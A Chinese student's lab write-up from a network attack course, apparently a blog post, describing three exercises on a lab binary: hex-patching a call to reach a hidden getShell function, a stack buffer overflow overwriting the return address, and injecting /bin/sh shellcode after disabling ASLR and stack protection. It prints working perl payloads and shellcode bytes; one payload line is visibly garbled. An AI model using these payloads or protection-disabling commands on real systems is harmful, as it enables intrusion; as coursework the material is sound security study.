作业1

2019-2020-3 20175103王伟泽《网络对抗技术》Exp1 PC平台逆向破解

一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 注入运行任意代码。

二、基础知识

管道符|、输入重定向>、 追加输入>>以及常用的linux文件操作。

实验内说明。

常用汇编语言、机器语言、EIP寄存器、指令地址。

  • NOP汇编指令的机器码是“90”
  • JNE汇编指令的机器码是“75”
  • JE 汇编指令的机器码是“74”
  • JMP汇编指令的机器码是“eb”
  • CMP汇编指令的机器码是“39”

掌握反汇编与十六进制编程器

反汇编指令 objdump -d (文件名)| more
其中
objdump -d将代码段反汇编
-d英文全称是disassembling,反汇编选项
|管道符,将上一命令的输出作为下一命令的输入。
more使文件以一页一页的形式显示,,更方便使用者逐页阅读
十六进制编辑器

学会使用gdbvi操作文件或进程。

进入vim编辑器后按esc后输入 %!xxd 将显示模式切换为16进制
编辑完成后按esc后输入 %!xxd -r 将转换为原格式
esc后输入:wq保存退出
gdb于实验中说明。

三、实验内容

实验一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

源文件中main函数调用函数为foo函数,我们直接修改该文件内容,使其调用函数改变,从而激活getshell,最简单粗暴的方式。

1.载入pwn1,使用cp指令生成待操作文件pwn1.cp

2.使用objdump -d pwn1.cp | more对文件pwn1.cp进行反汇编并查看。其中第一列为内存地址,第二列为机器指令,第三列为对应汇编指令。

3.因为所修改内容位于主函数,通过翻页查找到主函数所在地。通过图片可以看到,主函数main中通过call 8048491<foo>调用函数foo,为了使其改为调用getshell函数,我们需要对其进行修改。该指令对应机器指令为e8 d7,其中e8call指令所对应的机器指令,d7 ff ff ff对应的则是foo函数的内存起始地址的补码,(该数值产生与call指令的工作原理有关,当执行call指令时,call指令后的数据将与EIP中的内容相加,此处即将计算“d7ffffff+EIP”为内存地址的指令。而在此时EIP中存储的是下一条指令的内存地址,即80484ba+d7ffffff,就是函数foo所在的内存地址8048491)因此需要对d7ffffff进行修改。

4.经过计算器计算804847dgetsheel起始地址)-80484ba(EIP值)算出补码为ffffffc3,用该数值替换原先d7ffffff即可。

5.接下来开始编辑可执行文件pwn1.cp。首先使用vim编译器打开pwn1.cp,发现是乱码显示。

6.此处需要使用vim%!xxd指令将文件转换为十六进制显示。显示完成后输入/e8 d7查找要修改的地方(此处e8d7之间需要加空格,否则无法正确查找到)。

7.根据前后文确定好修改位置,i进入编辑模式将d7改为c3(此处因为该文件存储为小端存储,在实验中我曾以为错以为FFFFFFC3大端转为小端存储时应是3CFFFFFF,后发现结果错误,才了解学到了大端转小端是按照两个字节一组转的,组内顺序不变。)

8.将文件重新转为原本的表达方式,使用%!xxd -r转回(如不转回原格式直接保存,运行该文件会出错)。重新对修改后文件进行反汇编验证。

9.验证成功后,执行,出现文字符,实验一成功。

实验二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

此处用到缓冲区溢出攻击,关键是利用数据溢出覆盖EIP,改写文件进程走向,从而执行我们想执行的内容。最重要的就是确定EIP的位置。

1.实验前准备,要下载gdb,使用指令apt-get install gdb下载。

2.使用cp生成pwn1的复制pwn1.cp1。反汇编查看结构,从该指令8d 45 e4 lea -0x1c(%ebp),%eax发现在读入字符串时,该堆栈分配了0x1c的空间大小,即28个字节,如果读入的字符串够大,就可覆盖到EIP进而造成缓冲区溢出攻击。main中的call指令调用foo,并且在堆栈上压上返回地址80484ba

3.下面我们要确定输入的字符串会覆盖返回地址的位置,我们首先构建一个字符串1111111122222222333333334444444412345678作为测试,使用指令gdb对pwn1.cp1进行调试,输入r运行程序,输入构造好的测试字符串,发现返回地址为34333231,而这正是1234的ASCII的值,说明返回地址在第33到36位间。

4.由之前的反汇编可得知getshell的内存地址为0804847d,因为之前测试中1234对应ASCII为0x34333231,因此应把要覆盖返回地址的值设计成\x7d\x84\x04\x08,即攻击字符串为11111111222222223333333344444444/x7d/x84/x04/x08。因为我们无法直接通过键盘输入十六进制,这时候就需要先把该字符串使用输入重定向>装入文件,再将文件中的内容通过cat读出并使用管道符|作为程序的输入。使用perl -e 'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' >20175103创建好文件20175103后使用xxd十六进制显示检查一下文件内容是否正确,指令中\x0a是回车。

5.输入(cat 20175103;cat)|./pwn1.cp1成功得到shell。

实验三:注入一个自己制作的shellcode并运行这段shellcode。

该种思路需要用到Shellcode,shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。

攻击思路:首先将我们设计的shellcode存入缓存区,得到shellcode的内存地址后,使用和第二次实验一样的方法,只不过把原来getshell的内存地址改为shellcode的内存地址,这样就可以运行我们的shellcode了。因此,shellcode的长度一定要小于系统分配缓存区大小,即28字节。

构筑要注入的payload,在linux中有两种方法:

  • retaddr+nop+shellcode(一般来说使用RNS的形式)
  • nop+shellcode+retaddr(约束shellcode的大小)
    选择哪种需要根据具体情况,一般说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

1.实验前准备:为了成功完成实验,我们需要关闭一些功能:包括

  • apt-get install execstack安装攻击所用execstack。
  • execstack -s pwn1 设置堆栈可执行,否则shellcode输入缓冲区将无法执行,进而不能进行该攻击。
  • execstack -q pwn1 查询文件的堆栈是否可执行,查看之前命令是否生效。
  • more /proc/sys/kernel/randomize_va_space查询地址随机化是否关闭,如果地址随机化关闭,那么shellcode的内存地址将无法确定,进而无法跳转到shellcode,无法执行攻击。
  • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。
  • more /proc/sys/kernel/randomize_va_space再次检查地址随机化是否关闭。

2.首先构造一个注入代码,并写入文件:perl -e 'print "A" x 32;print "perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > 20175103shellcode,其中x90是空指令,加空指令的目的就是形成一片滑行区,到时候寻找该段指令时只要看到该指令便能够找到,减小寻找shellcode内存地址的难度。(其中结尾不可以加\x0a,因为我们需要用gdb调试进行,如果输入回车程序就直接报错了)使用(cat 20175103shellcode; cat ) | ./pwn3.cp在一个终端输入该文件内容。

3.打开另一个终端,使用ps -ef|grep pwn3.cp指令来寻找当前运行进程号。找到该进程号为1320

4.启动gdb调试该进程,输入attach 1320调试进程,后用disassemble foo因为直接运行会爆错,我们通加入断点来查看报错内容。使用break *0x080484ae指令在ret处加入断点。之后在第一个终端按下回车,在第二个终端使用c查看错误信息。使用info r esp查看esp寄存器内信息。使用x/16x 0xffffd33c指令查看周围内容。每次延申28个字节来查找shellcode的位置,通过\x90\x90\x90\x90确定位置最后找到,为0xffffd340

5.已知shellcode内存地址,构造payload为perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20175103shellcode,并将其通过之前的方法作为pwn3.cp的输入,成功调出shell。

四、实验总结

错误总结

  • 文本转化为16进制后忘记转回,导致无法运行。
  • 错以为FFFFFFC8大端转为小端存储时应是8CFFFFFF,后发现结果错误,才了解学到了大端转小端是按照两个字节一组转的,组内顺序不变。
  • 搜索e8d7时中间必须有空格,否则搜索不到。
  • 第三次实验中的实验前准备是实时性的,在关闭后重新打开需要重新设置。

心得

  • 漏洞是什么
    在我看来,漏洞是一种非人愿的缺陷,我们设计出来的系统总是想百分百安全,但是总会在无论是硬件、软件或者协议上多多少少有着一些缺陷,这些缺陷可能不影响正常的使用,但如果有人不怀好意,针对这些漏洞去想办法,就可能能够达到自己的不好目的,如窃取秘密信息、破坏系统、装后门、非法访问系统等。如在本次实验中我们所利用的便是程序编程本身的漏洞,即缓冲区溢出漏洞。漏洞,尤其是未被安全人员发现的零日漏洞,可能会对系统或者程序造成巨大的破坏,并且造成大量的经济损失。

  • 实验后感想
    做完本次实验,回想一下过程,因为我是第一次使用Linux,第一次亲手操刀一次安全攻击,第一次发布博客,以及对之前知识的忘记,种种原因导致我本次实验前前后后共用时一周。但是这一切都非常值得。在这期间所做的努力,不仅使我对实验本身缓冲区溢出攻击的内容更加了解,同时,对如何通过向他人学习从而让自己掌握的方法也更加得心应手。此外,对于发布博客、分享自己实验的过程心得也更加娴熟;并且在实践中捡回了之前学过的理论知识。非常期待下一次实验的到来!

posted @ 2020-03-08 16:17  20175103王伟泽  阅读(473)  评论(0编辑  收藏  举报